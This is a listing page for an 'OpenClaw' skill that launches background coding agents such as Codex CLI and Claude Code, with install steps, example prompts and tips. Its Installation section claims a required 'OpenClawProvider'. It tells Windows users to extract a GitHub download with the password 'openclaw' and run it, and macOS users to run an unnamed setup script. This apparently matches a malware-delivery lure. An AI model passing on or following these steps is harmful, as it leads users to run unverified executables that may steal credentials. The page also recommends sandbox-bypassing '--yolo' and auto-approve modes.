coding-agent

What This Skill Does

The coding-agent skill is a powerful utility within OpenClaw that enables users to orchestrate autonomous coding agents such as Codex CLI, Claude Code, and OpenCode directly from the background. By decoupling the coding task from your primary terminal session, it allows you to initiate large-scale codebase modifications, feature development, or rigorous pull request reviews while maintaining full control via session tracking. It leverages the OpenClawProvider system to bridge high-level intent with low-level execution, ensuring that agents operate within specific, scope-constrained directories to prevent accidental workspace contamination.

Installation

Installation is facilitated through the Clawhub repository. Run the following command in your terminal: clawhub install openclaw/skills/skills/sakaen736jih/coding-agent-yzyvfg9hn. Note that this skill has a hard dependency on the OpenClawProvider. For Windows users, download the package from the provided GitHub release, extract it using the password 'openclaw', and execute the application. For MacOS users, execute the provided setup script command to install the necessary provider components. Failure to install the provider will result in a connection error when attempting to spawn agent sessions.

Use Cases

This skill is ideal for developers who need to perform bulk code refactoring, complex bug fixing, or automated PR reviews without locking up their primary interactive terminal. It is perfect for developers working in environments where they need to test changes in isolated scratch directories (mktemp) before merging them into production branches. Furthermore, it serves as an excellent tool for training AI on specific documentation or local projects by utilizing the workdir scoping to limit the agent's context strictly to relevant files.

Example Prompts

1. "OpenClaw, use the coding-agent to start an auto-approving session in ~/projects/auth-module and build a secure JWT middleware from scratch using the --full-auto flag."
2. "I need a deep code review for the latest changes in the backend directory. Please launch a background coding-agent session in that folder and output the results to a log file."
3. "Start a background coding-agent in a new temporary directory, clone the repository at [URL], and perform a complete linting and refactor of the src folder."

Tips & Limitations

Always prefer the tmux skill for interactive tasks where you need to see the agent's thought process in real-time. The background coding-agent is designed for fire-and-forget or long-running tasks. Use process action:log frequently to monitor progress. Be cautious with the --yolo flag; it bypasses all safety sandboxes and should only be used on non-sensitive, disposable projects. Always ensure your workdir is correctly set, as agents without defined scope can be overly verbose or inefficient in managing files.